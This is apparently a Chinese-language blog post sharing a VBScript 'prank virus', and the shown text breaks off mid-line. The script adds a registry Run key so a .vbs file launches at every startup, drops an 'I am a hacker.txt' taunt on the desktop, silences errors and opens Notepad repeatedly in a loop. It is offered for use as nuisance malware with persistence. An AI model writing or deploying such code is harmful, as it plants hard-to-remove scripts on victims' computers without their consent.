vbs整人小病毒2

海螺，大家好！

这是我第二次发文章，点个赞再走吧！(✪ω✪)   Thanks♪(･ω･)ﾉ

（还有关注！）

好！直接上代码：

Dim AutoRunProgram     
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"  
Type_Name = "REG_SZ"   
Key_Name = "game"   
Key_data = "    .vbs" 空白里头填文件路径
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name   
dim fso,testfile
set fso = createobject("scripting.filesystemobject")  
set testfile = fso.createtextfile("       \I am a hacker.txt",true)空白里头填桌面路径
testfile.writeline("HaHa,Can't turn it off?")
testfile.close
on error resume next
on error resume next
dim wsh,ye
set wsh = createobject("wscript.shell")
wsh.run "notepad"
for i=1 to 25
wsh.appactivate("I am a hacker.t